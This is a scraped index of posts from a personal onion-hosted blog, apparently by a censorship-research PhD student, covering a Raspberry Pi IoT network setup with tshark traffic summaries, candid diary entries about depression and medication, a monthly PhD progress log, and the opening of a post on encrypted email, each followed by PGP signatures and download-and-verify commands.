tls.handshake.extensions_server_name \\ | sort | uniq -c | sort -k1,1nr | head -n 20 1 1.1.1.1\tone.one.one.one 1 17.253.37.195\tstreamingaudio.itunes.apple.com 1 17.253.53.202\tpancake.apple.com 1 17.253.53.203\tradio-activity.itunes.apple.com 1 17.56.138.35\tcma.itunes.apple.com 1 2.19.120.151\tplay.itunes.apple.com 1 23.58.105.122\tlibrarydaap.itunes.apple.com 1 54.217.122.41\tguzzoni.apple.com Ports in use (quick heat check) ❯ tshark -r iot_ap_120s.pcap -T fields -e _ws.col.Protocol -e tcp.dstport -e udp.dstport \\ | awk \u0026#39;{for(i=1;i\u0026lt;=NF;i++) if($i~/^[0-9]+$/) p[$i]++} END{for(k in p) printf \u0026#34;%-8s %8d\\n\u0026#34;, k, p[k]}\u0026#39; \\ | sort -k2,2nr | head -n 20 64725 19588 443 4086 5353 318 49395 109 7000 109 55514 102 55510 101 64721 47 54806 40 20002 32 64722 27 8883 23 49154 21 55515 21 64723 19 64728 19 64729 19 5223 14 64724 14 64686 13 Epilogue I\u0026rsquo;ve been having so so much trouble with setting up a iot-hub for my house where I can connect all my IoT devices to, and without putting a phone on hotspot. Now I finally did it, and I even treated myself by allowing mDNS routing! Let\u0026rsquo;s cross our fingers and hope this setup finally works nicely.\nDownloads: Markdown · Signature (.asc) View OpenPGP signature -----BEGIN PGP SIGNATURE----- iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuUACgkQtYgoUOBM jSr4mxAAr6wizjfSiJPTCywZaFD7DpF1QqVL5N2r7\u0026#43;W6iPkxjXU5ju4yaRyJ3LGP ob51GUAPqSstrTZUJRIQs54MQMqL0WNBiesVSDXlT\u0026#43;cqAgRVN4SaYrRg\u0026#43;dV\u0026#43;kRCA dnFuXXJBvo9y/QYk\u0026#43;SR4F2I9SeqsOQ2V0H2SxndLQAVI318VRbJLwaZF5XHLU8Ax a/\u0026#43;sOpjI2bGgTCW6P2r97PaXyde9Itkdp0LBN2JfkXfmzdY1JdjPdaNmUZuY3N6J HO4MfBUYX33RLmq/CSDm5wzOQRi1O9wt63CWJzzsZuZACbmuJ0gZHYM5JIBHXtnZ wgdtfu31ulnFPVfoIVjCCcN80kWlh671ONKQTZOysknFonm5pIUJnOcCQ4S3HfIm Of5kojUQegInp84ju4yYKCMh115yB05XTyrhf62NouGQVGSBmNBwgFZe4kbfqZ4w xsAfFOpk6niLqZTX1NmgaXeBcalFU2yOzIEH4dXu7OSZmN3UUznAxw4SciD0\u0026#43;HW\u0026#43; T7RjrniAIgX3fFlqIexoDbCa6T2g8Gd00zBzHG65pO4mwAuFL4KB0xLU8KIz6L7M aMFcFVAuq8GdqBbn6mRQ3UwFkOIjq\u0026#43;WbAgvxDJprxI9jBafm6IVXrISyHx0mYfnP OAFDAL768GiHQz7LIB/lLa0qAT6Hs28JZ3/czfGPwVNthFp8tA0= =bk46 -----END PGP SIGNATURE----- Verify locally:\ntorsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/house_upgrade.md torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/house_upgrade.md.asc gpg --verify house_upgrade.md.asc house_upgrade.md ","permalink":"http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/house_upgrade/","summary":"\u003ch2 id=\"the-day-my-wi-fi-said-eight-is-enough\"\u003eThe Day My Wi-Fi Said “Eight Is Enough”\u003c/h2\u003e\n\u003cp\u003eMy apartment Wi-Fi (ASK4) has a hard cap of \u003cstrong\u003e8 devices\u003c/strong\u003e. That’s adorable until you own a phone, a laptop, a tablet, a TV, a smart speaker, and even a couple of smart plugs. My solution: put \u003cstrong\u003eall the IoT stuff behind a Raspberry Pi\u003c/strong\u003e that shows up as \u003cstrong\u003eone\u003c/strong\u003e device to the building’s network, but acts like a full-blown Wi-Fi for everything else I own.\u003c/p\u003e","title":"I Beat My 8-Device Wi-Fi Limit with a Raspberry Pi (and Made an IoT Village)"},{"content":"It all started after I came back from my trip to Turkey. I was actually doing really good the first three weeks, or at least I think so. Actually, looking back at it, I maybe wasn\u0026rsquo;t. Well I had to take like two exams and studied for them, but that was also not good enough. I have not really been able to focus on my work and studies lately. I\u0026rsquo;ve been feeling more down, sad, exhausted. I\u0026rsquo;ve been wanting to stay alone at home. To rest. And then I get stressed and sad because I\u0026rsquo;m not doing anything. I get the feeling of worthlessness a lot lately. It\u0026rsquo;s exhausting.\nFunny how I loved my research, the group, the people, hanging out, trying new things. It\u0026rsquo;s just funny how everything changed all of the sudden. How I don\u0026rsquo;t feel anything anymore. How sad I\u0026rsquo;ve been. How down I\u0026rsquo;ve been. My cognitive functions, my memory and everything has been also badly damaged. It\u0026rsquo;s just horrible.\nI\u0026rsquo;ve been also overthinking about my interactions and relationships with people, how they look at me, how they judge me, how they feel about me. And for some reason I tend to care a lot. This has also been extremely exhausting to me.\nI was reading about Major Depressive Disorder (MDD) last week. I brought it up in my therapy session too. My therapist said \u0026ldquo;why do you want to label things?\u0026rdquo;.\nThis is actually a really valid question. I don\u0026rsquo;t know why, maybe because it helps me think about it less? I can put a label on it and store it somewhere in my brain? Maybe. Idk.\nThis is what I call the loop of doom. MDD. I don\u0026rsquo;t even know if I\u0026rsquo;m experiencing it or not. All I know is that things are not right, and I don\u0026rsquo;t feel well.\nNow here is the problem. You start not performing well, then you hate yourself for not performing well, then you take it harder to yourself and it doesn\u0026rsquo;t work, then you hate yourself more, and it repeats and repeats until you are completely disfunctional. Most cases that get stuck in MDD get suicidal thoughts which is horrible. Thinking about a quick relief for yourself is just forgetting the values you bring to the world.\nI\u0026rsquo;m happy that I\u0026rsquo;ve not been thinking about these things, the scary things. But this is the first thing doctors ask you. Just to make sure.\nIt\u0026rsquo;s sad because I can see it in my monthly reports, in the PhD_journey page of my blog. I can see how bad last month was, and I know this month has not been any better. It\u0026rsquo;s just scary, and sad. I know I\u0026rsquo;m losing precious time that I cannot get back. I know at some point I\u0026rsquo;m expected to deliver results that I won\u0026rsquo;t have, and I know I won\u0026rsquo;t like myself when this inevitable happens.\nI really do not know what to do. I contacted my thrapist again today to see if he can help me or not. Let me list some stuff I\u0026rsquo;ve been told to do by my brother in the meanwhile:\nGoing for short walks Doing small tasks that make me feel good idk\u0026hellip; I don\u0026rsquo;t remember anything else. ChatGPT also gave me some advice, I\u0026rsquo;ll copy it here:\n# 14‑Day Reset — Daily Checklist **Name:** _____________________ **Start date (Day 1):** ______________ **Wake time target:** ________ ### How to use (60 seconds) * Each day, check **two tiny tasks**: one **Study MRD** and one **Work/Code MRD** (≤15 min each). * Do **2 short sprints** (start at 10 min on / 2 min off). Stop when the timer ends. * Log the **evening 2‑minute check‑in** in the table (mood, sleep, meds, sprints, one win). * If no improvement by **Day 7**, escalate with your prescriber; reassess again on **Day 14**. ### Define today’s Minimum Reliable Dose (MRD) *(Write clear, tiny actions with a start line → action → done proof.)* * **Study MRD:** ________________________________________________________________ * --- * **Work/Code MRD:** ____________________________________________________________ * --- --- ### Daily tracker (14 days) | Day/Date | Outside 10–15m | Study MRD | Work MRD | Sprints (0/1/2) | Mood 0–10 | Sleep hrs | Meds Y/N | One win / Notes | | -------------------------- | :------------: | :-------: | :------: | :-------------: | :-------: | :-------: | :------: | ------------------------------ | | 1 / ____ | ☐ | ☐ | ☐ | 0 1 2 | __ | __ | Y / N | ______________________________ | | 2 / ____ | ☐ | ☐ | ☐ | 0 1 2 | __ | __ | Y / N | ______________________________ | | 3 / ____ | ☐ | ☐ | ☐ | 0 1 2 | __ | __ | Y / N | ______________________________ | | 4 / ____ | ☐ | ☐ | ☐ | 0 1 2 | __ | __ | Y / N | ______________________________ | | 5 / ____ | ☐ | ☐ | ☐ | 0 1 2 | __ | __ | Y / N | ______________________________ | | 6 / ____ | ☐ | ☐ | ☐ | 0 1 2 | __ | __ | Y / N | ______________________________ | | **7 / ____ (Checkpoint)** | ☐ | ☐ | ☐ | 0 1 2 | __ | __ | Y / N | **PHQ‑9 today = ____** | | 8 / ____ | ☐ | ☐ | ☐ | 0 1 2 | __ | __ | Y / N | ______________________________ | | 9 / ____ | ☐ | ☐ | ☐ | 0 1 2 | __ | __ | Y / N | ______________________________ | | 10 / ____ | ☐ | ☐ | ☐ | 0 1 2 | __ | __ | Y / N | ______________________________ | | 11 / ____ | ☐ | ☐ | ☐ | 0 1 2 | __ | __ | Y / N | ______________________________ | | 12 / ____ | ☐ | ☐ | ☐ | 0 1 2 | __ | __ | Y / N | ______________________________ | | 13 / ____ | ☐ | ☐ | ☐ | 0 1 2 | __ | __ | Y / N | ______________________________ | | **14 / ____ (Checkpoint)** | ☐ | ☐ | ☐ | 0 1 2 | __ | __ | Y / N | **PHQ‑9 today = ____** | --- ### Quick reference **Paper — 12‑min read:** 3 min skim (title/abstract/figures/conclusion) → 7 min one figure + its paragraph → 2 min 3 bullets (Claim / Evidence / Open question). **Code — restart protocol:** 1. Open repo → `git status` → run tests/linter → open last‑changed file. 2. Choose **one smallest step** (≤10 min): e.g., add a failing test, reproduce a bug, rename a variable, add a log. 3. **Stuck 3‑step (2 min each):** talk it out / write exact error → minimal repro or tiny test → read one doc page. If still stuck after ~15–20 min, park it with the **next guess**. --- ### Safety net (Germany) * **Emergency:** 112 * **TelefonSeelsorge (24/7):** 0800 111 0 111 · 0800 111 0 222 · 116 123 If risk rises (can’t stay safe, intense agitation/akathisia), seek same‑day care. Lmao. I wonder how things will progress in the future, and how I\u0026rsquo;ll do. Was it really because of a failed relationship? Really? Something that never happened? I don\u0026rsquo;t believe it, it\u0026rsquo;s not possible. Or was it because I had the feeling of being used, and thrown away. Maybe if I kept contact I wouldn\u0026rsquo;tve these feelings. Maybe, just maybe.\nBut I do feel many many other bad things also happened. Like me not getting good grades in two of my courses (both of which turned out to be outliers, with one only 20% passing the course(!) and the other having a much worse average that previous exam iterations). My paper also got rejected. My research was criticized and shat on heavily. And I felt lonely a lot since I wasn\u0026rsquo;t being invited to many things other people were. I gained a lot of weight. I lost few friendships I wanted to keep. Some people I cared about started to hate me. And some of the people I considered as friends kept not including me in their plans, making me nervous that things are not right.\nDarn. That is a lot. Lot of bad things. Back to back to back.\nOk. Let\u0026rsquo;s break the loop. How can I do that? Maybe by starting new habits? By going to gym at nights? By eating healthier? By losing weight? By taking baby steps in literature review and my code? By organizing fun things with people? Idk. I really don\u0026rsquo;t. But I will figure it out and make it work. I have to. I ain\u0026rsquo;t, and I wasn\u0026rsquo;t brought up like this. Let\u0026rsquo;s fleaping go\u0026hellip;\nI try to keep ya\u0026rsquo;ll, the empty list of people, updated.\nDownloads: Markdown · Signature (.asc) View OpenPGP signature -----BEGIN PGP SIGNATURE----- iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuYACgkQtYgoUOBM jSq5fw/\u0026#43;OIEZpkK2C\u0026#43;NVLDU7fRma6IMFlq/XcJIFuC416au47cTEhETuvWGMCvo1 uzwHMPamUdBUtZkK7Lk0RbzOFWo\u0026#43;ru4vtmcKe2XZoRUTUofB5\u0026#43;rPkPLz4OzoIyLX mvrCb91MbWC3pB176Ul83HBe/797QzFTsDiFw3cDtHB2yOeVY5zNejttdbwqMLyK g7lbDCDf1GqtrNRgs1KqV0T9qoOesP9yhxXN/eIbaAUc8OIPUsBMB6/LG\u0026#43;RWtycp X6iSBX30MfDo6DCpTncowKs8/4Plv30oIgsqLJlKK7Gd5IamYxtmoWeOSj15BT4n TCn/G1olSfsnREX9/rY9xipTQDO0KaQNqG7q0y4gFvAE/C5ur5G5V6TtesDTEvLv bNNrRuF/0\u0026#43;t9EOkJFvo1dCnuPLd/Ufl7BI4Yc1QErMODp6g8LoU2PRHTUJZCK9hK PgS93JpDpYhURaH1f18b1YLgpEbIAR\u0026#43;AcwTlljeU8fVicHwbH0/vP9igASAJKJC6 2JheKwf1G2pFxMYfGus1evdHbKHS44s3xNF8pITFrTeUE/1CH\u0026#43;JBWRoyCjGgNsOA XHDIDxFNuZFZYIhUk6wDhYTKrQiVATCubtBNgUaIZutL6SBzHFCxhknbBdKpFxc1 f7BJMvRa6uQco/ySzaVW8Zl14zaIXhZW1dpmitSuVDbnufkHhhU= =Cuma -----END PGP SIGNATURE----- Verify locally:\ntorsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/loop_of_doom.md torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/loop_of_doom.md.asc gpg --verify loop_of_doom.md.asc loop_of_doom.md ","permalink":"http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/loop_of_doom/","summary":"\u003cp\u003eIt all started after I came back from my trip to Turkey. I was actually doing really good the first three weeks, or at least I think so. Actually, looking back at it, I maybe wasn\u0026rsquo;t. Well I had to take like two exams and studied for them, but that was also not good enough. I have not really been able to focus on my work and studies lately. I\u0026rsquo;ve been feeling more down, sad, exhausted. I\u0026rsquo;ve been wanting to stay alone at home. To rest. And then I get stressed and sad because I\u0026rsquo;m not doing anything. I get the feeling of worthlessness a lot lately. It\u0026rsquo;s exhausting.\u003c/p\u003e","title":"The Loop of Doom"},{"content":"The lyrics are being played in my brain day and night.\n\u0026ldquo;A hopeless romantic all my life\u0026rdquo;\n\u0026ldquo;Surrounded by couples all the time\u0026rdquo;\n\u0026ldquo;I guess I should take it as a sign\u0026rdquo;\nBut\u0026hellip; \u0026ldquo;I gave a second chance to Cupid\u0026rdquo;\n\u0026ldquo;But now I\u0026rsquo;m left here feelin\u0026rsquo; stupid\u0026rdquo;\nI might\u0026rsquo;ve given more than two chances to cupid.\nBut I\u0026rsquo;m still left here felling\u0026rsquo; stupid.\n\u0026ldquo;I look for his arrows every day\u0026rdquo;\n\u0026ldquo;I guess he got lost or flew away\u0026rdquo;\nBut does it matter anymore? It shouldn\u0026rsquo;t. It really shouldn\u0026rsquo;t.\nNow all these jokes aside, today I went to Mensa with my group. When eating, I saw a group of people who I\u0026rsquo;ve been trying to hang out with, and every time they tell me they let me know to join them, but today I saw them, they hadn\u0026rsquo;t told me.\nFunny how my mind jumps to conclusions quickly. Funny how I feel left alone so quickly. Or maybe it isn\u0026rsquo;t funny, idk. What I do know however is that I\u0026rsquo;m hurt. There is a bit more to the story than that, but I don\u0026rsquo;t want to open it up. It\u0026rsquo;s way too personal to be opened.\nThe thing is, all of this is just badly affecting me. I cannot really focus on my work, and studies. Maybe I should consider doing more home office? Idk. It could be good though.\nI\u0026rsquo;ve been trying to jump from one addiction to another, just to calm my senses, just to forget, just to move on.\nI started with ordering unhealthy food from Uber, eating Tuna and Rice, skipping breakfast, watching crap on Youtube, but none of it help. I then went to thm, that has been helping a bit, but not enough.\nI need to be productive at work, I need to take care of my health, I know if I do these, I will feel better about myself and this MDD will go away. Or at least I hope.\nFor now all I know is that I\u0026rsquo;m stuck in MDD, and I cannot get out of it. I\u0026rsquo;m glad suicidal thoughs are off the table. I\u0026rsquo;m just glad. They only thing I see is darkness, but I know it will change. The sun will rise. That reminds me, is the wind rising? No? Yes? If so, we need to live.\nI think this is just so painful to me in the sense that I don\u0026rsquo;t really have many friends that I consider as friends, and I\u0026rsquo;m being left alone from some groups that I don\u0026rsquo;t necesserially wanna be a part of. But oh well, I should not care.\nCredit: Cupid by FIFTY FIFTY\nDownloads: Markdown · Signature (.asc) View OpenPGP signature -----BEGIN PGP SIGNATURE----- iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuUACgkQtYgoUOBM jSqXgxAApA2BHjsOLD5510SG/O8FGU5fI6Mh9wa\u0026#43;CzLQY5UgxMloPUPb7wt0PeUf CpBM/jHD6O86DkqppGJNAXHdt/X1bpQeMr0jfXctWijWUhiyDxY/eLId7\u0026#43;GF9IUv YFCTA4Rff7kAbczDMpb2Tj4ZGSJNCAnHtxbzRN23WHY5SX36WZr0Kg496Z/ndxNa 2RWo2WA0w9PIvb/rv77\u0026#43;fOx5g7P1Ap\u0026#43;mpFHOYAOeQ3PuHPLTSOrldEZDgr0diYMl HFzs8K0CXUJnW0KaLtfUxEsJEs9nIgoAN3m/xUWCiZEe2fbEYJ/kUArtAJLtEV3r ulcY1NPAuRWbcFdIWYQoD6N9Kxev0e6rvX5kkt3MslV4fAvIXq9TmROOd9i8d6W7 oKcf7IO8MJNs4l3\u0026#43;990pvEzu0X9IHdv7GUIf6DQQ15VG3HLBMHzaqDu5fxIGUyz1 wJj1Vd18yXkOLCNIdOkQVr5wuZida6/1V8qgMNg5mO/t0bXPvmweqwd4tCy1XErm 7d9nIEcGk9dQBuVKJUT0XVN/q3whNFeQmbaoq\u0026#43;Tl/MSNQVfwTbxBMkGxmLQwEWY9 mUD\u0026#43;FKlzeyJSaWc0MylcnbtkCQnICWw2mR33NuqPHA2RIrCy49ArrPXXPrIZqOf/ 91kzN5JeoMvwawhIt9N8\u0026#43;nPGUOs3RTy\u0026#43;qHk9L7DHhtAycdFqm/c= =sXgB -----END PGP SIGNATURE----- Verify locally:\ntorsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/cupid.md torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/cupid.md.asc gpg --verify cupid.md.asc cupid.md ","permalink":"http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/cupid/","summary":"\u003cp\u003eThe lyrics are being played in my brain day and night.\u003c/p\u003e\n\u003cp\u003e\u0026ldquo;A hopeless romantic all my life\u0026rdquo;\u003c/p\u003e\n\u003cp\u003e\u0026ldquo;Surrounded by couples all the time\u0026rdquo;\u003c/p\u003e\n\u003cp\u003e\u0026ldquo;I guess I should take it as a sign\u0026rdquo;\u003c/p\u003e\n\u003cp\u003eBut\u0026hellip; \u0026ldquo;I gave a second chance to Cupid\u0026rdquo;\u003c/p\u003e\n\u003cp\u003e\u0026ldquo;But now I\u0026rsquo;m left here feelin\u0026rsquo; stupid\u0026rdquo;\u003c/p\u003e\n\u003cp\u003eI might\u0026rsquo;ve given more than two chances to cupid.\u003c/p\u003e\n\u003cp\u003eBut I\u0026rsquo;m still left here felling\u0026rsquo; stupid.\u003c/p\u003e\n\u003cp\u003e\u0026ldquo;I look for his arrows every day\u0026rdquo;\u003c/p\u003e","title":"Cupid is so dumb"},{"content":"1st Ok, let\u0026rsquo;s start the month by declareing some goals and agendas.\nWhat do I want to do this month?\nFinish previous semester. Pick the last of the course work for my prep phase. Finalize the CoNEXT student workshop paper. Finish my second RIL. Start my 3rd and last RIL. Learn more Go to become more comfortable with it, but how do I set this as a measureable goal? More literature review, persumabely all of FOCI related papers this month. Work on my codebase: Do code cleaning Add comments for code Start working on ICMP stuff More socializing! :-) A fun pet project? Maybe with Go? Maybe with 3d printer? Idk. Enhance your routines and add exercise to it please! Alright. Now that the goals are set, let\u0026rsquo;s start the month strong! My last exam for pervious semester will be on October 7th. I have done 74 ECTS, another 6 will be my last RIL. If they give me Router Lab, 4 of it would count as ungraded along with an advance course such as either NN, ML sec or EML I would be done with the requirements for my prep phase. I then just need to do my QE for which I should submit my first paper for which I\u0026rsquo;m doing work!\nI have started to take SSRIs again. I used to take them before I came to Germany to start my PhD, but after coming here things were going really well for many months, and I wanted to cut the medication. I was taking more than just SSRIs actually, and my psychiatrist agreed to cut all other three medications but advised me to keep taking my SSRI. After being all happy and things working very well, we started to cut the last piece of the puzzle. We agreed to reduce the dosage by 0.25% of the max and wait for one month. Things were going really well for the first two and a half month, and then it happened. The catastrophe that put me in my worst mental and physicall position happened to me. It\u0026rsquo;s not something I want to talk about in my blog, well at least for now, but I\u0026rsquo;ve tried to talk about it with my closest friends. It\u0026rsquo;s so sad that things happened the way they did. I never really fully recovered. But\u0026hellip; time has passed. Almost 8 months now. I should not have continued to cut my medication, but I did. I damaged myself badly by being stubborn. My brother who knew everything insisted that I should continue the usage, but I didn\u0026rsquo;t listen. My parents didn\u0026rsquo;t know anything, but could see thier happy son turning into the saddest, most depressed thing of all time. I was scared of my own shadow for more than one month. I eventually started to go out, but seeing some certain people made me uncomfortable. This is another thing I haven\u0026rsquo;t been able to figure out. In the end, I just endured pain, a lot of pain. I\u0026rsquo;m glad I didn\u0026rsquo;t break, but I do think most people would\u0026rsquo;ve. To deal with this pain, I decided to take many courses. Cure pain with more pain. What a fool I was. I just tore myself up mentally and added much more unneeded stress.\nDid I mention I didn\u0026rsquo;t show up in office for 6 weeks? And that when I came back I was hit again with things I didn\u0026rsquo;t understand? Sometimes in life shit happens, but this was a whole new level. I don\u0026rsquo;t know how much of this I want to talk about publicly, but I do want to just say that I was hurt really badly. I\u0026rsquo;ve been trying to just lay low, stick to myself, and stay the hell out of trouble.\n3rd Today is the German unity day, and we have a long weekend ahead! Other than that, last night was one of the most fantabolous days of my life. I\u0026rsquo;m feeling more content and secure. I\u0026rsquo;m feeling true happiness. I don\u0026rsquo;t know how much the SSRI is affecting me, but I know one thing for sure. I\u0026rsquo;m just like I used to be 9 months ago. Just as jolly, positive, and feeling like I\u0026rsquo;m on top of the world. Thinking about it a bit more, I do think I\u0026rsquo;m being a bit less passionate about my work. What could be the reason? Different priorities? Nah. I really love my research and care about it. I think it\u0026rsquo;s just that there is no pressure on me, and no deadline. I will try to set small deadlines for myself and force myself to be more productive. Oh, and the SSRI adverse effects are visible! Yeah\u0026hellip; But it\u0026rsquo;s going to be alright, I\u0026rsquo;m sure of it. I have an exam I need to prepare for on 7th, but I\u0026rsquo;ve been procrastinating. I should plan my days and stick to it. Hell yes.\n5th My student workshop paper to CoNEXT \u0026lsquo;25 was rejected. It got one weak accept and one weak reject, with both reviewers claiming to have somewhat familiarity with the topic.\nFirst review (wa) provided two suggestions for improving the work. However, as this was a workshop paper, the goal was to talk about the research in the presentation and afterwards fine-tune details.\nSecond review (wr) asked for more details. In the end they suggested only focusing on one approach and it\u0026rsquo;s evaluation. This kinda defeated the purpose of what I was trying to do, to provide \u0026ldquo;tools\u0026rdquo;.\nAnother thing they mentioned was how ML-based traffic analysis can be used to detect evasion. This is indeed something I like to work on and look at in the near future.\n7th Stressful day. I had my last exam, the exam for Interactive systems that I did not attend the main exam for. I tried to study over the weekend, but some weird things happened throughout the weekend, making my very distracted mind even more distracted. I don\u0026rsquo;t know how I did, but I\u0026rsquo;m glad I did the exam. Hopefully I did alright, although I kinda do know some of the mistakes I\u0026rsquo;ve made, which is a really bad sign\u0026hellip; I hope I won\u0026rsquo;t have to take another extra course in the next semesters, that would just be annoying. I really do hope so.\n8th I\u0026rsquo;m back at work, still very distracted with life. I do need to do literature review, expand my framework, and focus on my work. It\u0026rsquo;s a Wednesday unfortunately, meaning I have my German class until 9:30, which today it lasted until 9:45, and then we have cookies at 14:00. I hope I can get myself together and start being productive again.\n9th I will be doing literature review today. Yesteday I didn\u0026rsquo;t manage to get myself together. Drat. There will be a nice social event later today too. I can rest and socialize with my group\u0026rsquo;s amazing people! It\u0026rsquo;ll be fun! :)\nAnother fun thing is that I will get my very own physical GFW box today. It\u0026rsquo;s probably the most majestic thing that could\u0026rsquo;ve happened? The reason for it is that a month ago there was a leak for GFW. Lucky us I guess.\n13th Last week was again not a productive week. I will start to plan my days from now on. The important things are literature review, working on the code base, and looking at the box a bit. Unfortunately the new semester also starts from today. I\u0026rsquo;ll be having one, at most two courses.\n17th Another unproductive week. I think this was the worst one actually. I can\u0026rsquo;t focus on reading the papers, I get distracted easily or lose interest. Tobias suggested USENIX\u0026rsquo;s 3-slide slide deck to enhance my focus, I\u0026rsquo;ll give it a try.\nI also need to address the elephant in the room, and start working on the codebase.\nI also need to look at the GFW files more, and try to find useful stuff there.\nBut first I need to work on HTDN\u0026rsquo;s papers, and craft the slides. That is the highest priority on my list. I\u0026rsquo;ll do it.\n31st It went by. It went by quickly. I wasn\u0026rsquo;t able to pick myself up this month, but I won\u0026rsquo;t let it happen in the following. I want to be truthful, so I won\u0026rsquo;t hide anything. the only thing is I should\u0026rsquo;ve let myself grief a bit, and I did. I\u0026rsquo;m proud of it. It\u0026rsquo;s fine. For next month, I will start strong, try to get myself together, and pick myself up. I will make progress. I promise.\nAlso I think there is no point in me ranting everyday or every once in a while in my PhD journey posts? Maybe it\u0026rsquo;s not a bad thing. The problem is I don\u0026rsquo;t have much to present, and that\u0026rsquo;s why this is the content. Idk if I change the structure or not, but for now it is what it is.\nOk, let\u0026rsquo;s set some goals for next month in advance, then we can see how good we did.\nI want to work on ICMP stuff and make it work nicely. I want to do more literature review, maybe read all 2025 and 2024 censorship papers. Cross your fingers for this. I need to keep up with my courses, including the German class. I might work more on the GFW leaked data, but I think it\u0026rsquo;s not a priority for me for now. So\u0026hellip; scrap this last one. Downloads: Markdown · Signature (.asc) View OpenPGP signature -----BEGIN PGP SIGNATURE----- iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbtwACgkQtYgoUOBM jSryHhAAvH\u0026#43;XWK2675p6vFyzP9ZVDmyh1klyhNM/rLiErk5GfmnwNmKQIFxoMei9 2UuypSgH7l7mG9Ga\u0026#43;1Ph9W5YhA0qMMbA5LVWMyqlRfvVF9hoY4On21YRBieXqwsx G4jS7A4PxYZbRt8\u0026#43;lVuyphe\u0026#43;KMRiwOMfPuWoIse2hfpfhs64h\u0026#43;cmZVPen5zsWHD5 2jAV888Y5oqGc9uISf380zBqEn3jIJOxiWCi\u0026#43;4vS6p87h0x8E2tVqCUNQEGgiriu NLBkMOkuXAlQZnnv379jX4wh7N79bVjDoH3IHRQx\u0026#43;W8FqEGzu11D3VxO85\u0026#43;Q5/EY n0FvOI4EXtWAHKjsHFcEX/MfXESy5zwNgIWW7\u0026#43;8OYnIv1CRPLPz/hHoZxklkflyZ yqNdg8o\u0026#43;aRHsqbDVQxIKQXH5xUEcDH\u0026#43;9A7bRxmCmgksML01dPnrcw4ioYzu\u0026#43;t0em 4DRVp1HWJP/P7Sv2QrR6KgLS3DINRzC7ZkzV7Yeg40eQcb7BadEAZZ9aEjjDJtR0 B/n18yUje9BWNFc7nYKkmBYO4UU4L5O1lJWQZhgLrfWxZziJSRs2WTD\u0026#43;tKsbY\u0026#43;5/ YSEmToD9nAFioRSpWIV9/uYlsJYfGFtCCgNb/JD2uE\u0026#43;bROitVdZ6auE5AXmef1aN t1QRAQvtpctfFlmwkDdb0BLFS5GSbRr55mkLg1yGS2o4zsC6FQ8= =NvQ7 -----END PGP SIGNATURE----- Verify locally:\ntorsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/PhD_journey/October_2025.md torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/PhD_journey/October_2025.md.asc gpg --verify October_2025.md.asc October_2025.md ","permalink":"http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/phd_journey/october_2025/","summary":"\u003ch1 id=\"1st\"\u003e1st\u003c/h1\u003e\n\u003cp\u003eOk, let\u0026rsquo;s start the month by declareing some goals and agendas.\u003c/p\u003e\n\u003cp\u003eWhat do I want to do this month?\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eFinish previous semester.\u003c/li\u003e\n\u003cli\u003ePick the last of the course work for my prep phase.\u003c/li\u003e\n\u003cli\u003eFinalize the CoNEXT student workshop paper.\u003c/li\u003e\n\u003cli\u003eFinish my second RIL.\u003c/li\u003e\n\u003cli\u003eStart my 3rd and last RIL.\u003c/li\u003e\n\u003cli\u003eLearn more Go to become more comfortable with it, but how do I set this as a measureable goal?\u003c/li\u003e\n\u003cli\u003eMore literature review, persumabely all of FOCI related papers this month.\u003c/li\u003e\n\u003cli\u003eWork on my codebase:\n\u003col\u003e\n\u003cli\u003eDo code cleaning\u003c/li\u003e\n\u003cli\u003eAdd comments for code\u003c/li\u003e\n\u003cli\u003eStart working on ICMP stuff\u003c/li\u003e\n\u003c/ol\u003e\n\u003c/li\u003e\n\u003cli\u003eMore socializing! :-)\u003c/li\u003e\n\u003cli\u003eA fun pet project? Maybe with Go? Maybe with 3d printer? Idk.\u003c/li\u003e\n\u003cli\u003eEnhance your routines and add exercise to it please!\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eAlright. Now that the goals are set, let\u0026rsquo;s start the month strong!\nMy last exam for pervious semester will be on October 7th.\nI have done 74 ECTS, another 6 will be my last RIL.\nIf they give me Router Lab, 4 of it would count as ungraded along with an advance course such as either NN, ML sec or EML I would be done with the requirements for my prep phase.\nI then just need to do my QE for which I should submit my first paper for which I\u0026rsquo;m doing work!\u003c/p\u003e","title":"October '25"},{"content":"If you’ve ever thought “I should really send this securely” and then immediately remembered key servers, certificate stores, and that one time you bricked your GPG setup, this post is for you. Below is a usable path to end‑to‑end encrypted email, roughly how each option works, and when to use which—sprinkled with a little fun so your eyes don’t glaze over.\nHonestly, I don\u0026rsquo;t know why one would settle down for a paid option, but if you want to, then be my guest.\nWhy people don’t use E2EE email (and why you still should) Email wasn’t designed for secrecy. It leaks metadata (who emailed whom and when), search and spam engines expect to read your messages, and traditional E2EE requires exchanging and trusting keys or certificates—things most people never think about. That creates friction, breaks “just works” expectations, and makes onboarding your accountant, landlord, and cousin Maddie… exciting.\nBut the upsides are huge: true confidentiality of message content and attachments, stronger 